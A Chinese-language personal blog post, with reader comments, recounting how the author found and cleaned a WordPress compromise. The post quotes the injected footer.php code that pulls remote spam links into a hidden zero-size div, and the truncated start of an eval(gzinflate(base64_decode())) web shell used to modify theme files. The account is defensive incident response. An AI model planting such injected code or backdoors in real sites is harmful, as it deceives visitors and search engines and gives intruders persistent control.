這兩個星期,我的部落格被入侵並埋了一堆廣告連結。
一開始,是 google 警告我,說我的 blog 頁面裡有一堆奇怪的連結,因此他們將我的blog 從索引裡先除去,等我移除之後再申請回復。
一查,果然有一大堆怪怪的連結,躲在網頁底,然後 用 <div style=”height: 0pt;width: 0pt;position: absolute;overflow: auto;”> 給包了起來。這樣一來,平常開網頁的人就不會注意到,但是 google bot 卻會收進去。
找出 wordpress 的模板 footer.php 瞧瞧,原來被埋進了下面這段程式碼,會自動去抓具有網址的文字下來:
<?php
$links=@file_get_contents(‘some url’);
echo “<div style=”height: 0pt;width: 0pt;position: absolute;overflow: auto;”>”.$links.”</div>”;?>
當下先鋸箭,砍了這段 code,不過從哪個洞摸進來的,還不知道。
過了幾天,這段 code 又出現在我的 footer.php 了,開始檢查各檔案的權限,沒有異常。拿掉幾個可疑的 plugin ,過幾天還是被摸進來。把帳號的密碼重新再換過,權限再檢查過,過幾天,還是一樣被摸進來。
我火了。
保持檔案原狀,記下檔案修改時間,我翻進 access.log,看看被摸進來的當天當時,到底誰在access,抓到一個可疑的記錄:有人在存取我的 CLI theme。這東西已經幾百年了,怎麼還會有人存取呢,可疑可疑,鑽進去看,果然 injected code 躲在 footer.php 裡。兇手就是用這個檔案作為程式上傳並修改我目前使用的佈景模板的。有了兇手的 IP,繼續翻 log,又找出另外兩個埋進來的程式。一個是 body.php 另外一個是 cache.php,用的是 “gzinflate(base64_decode… “的技巧,是拿來 browse我的網站目錄並修改檔案,種 inject code 之用的。
<?PHP
//Authentication
$login = “”; //Login
$pass = “”; //Pass
$md5_pass = “”; //If no pass then hash
eval(gzinflate(base64_decode(‘HJ3HkqNQEkU/ZzqCBd4t
?>
比較誇張的是,最古老的一個洞竟然是今年四月就種進來了。過了四個多月對方才把其他的 code 種進來,算是非常寬容的了。
後續的動作,就是收尾了。
把受感染的檔案移除掉,用 log 裡的 IP 找看看 log 裡有沒有其他可疑的動作,檢查所有檔案的日期,看到可疑的就進去翻翻看有沒有問題。忙了大半天。感覺好像清乾淨了,不過誰知道呢? 把 log 的存放量再加倍,觀察一陣子,希望那些高手放過小弟。
套句同事說的,我只是混口飯吃,會社已經夠亂了,部落格不要再來湊一腳啊。
您的用語描述生動傳神,真是佩服。結果第一個漏洞到底怎麼進去的呢?
因為第一個洞是4月份的事,年代久遠,已經沒有 log 可以得知當初發生了什麼事。
技術高手,佩服佩服!
是高手就不會被摸進來了。
哇…還好你是程式高手,
如果是像我們一樣不識知無的單純使用者,
恐怕真的不曉得該如何是好了?
我想大多人會選擇寄居在 BSP 之下,可以省下一堆這類的麻煩。
唉呦,高手還有高高手,能這樣找出來,已經是大內高手。
趕緊去 check 了一下各個 blog 底下的 theme,幸好都沒事~呼~
施主真是大幸。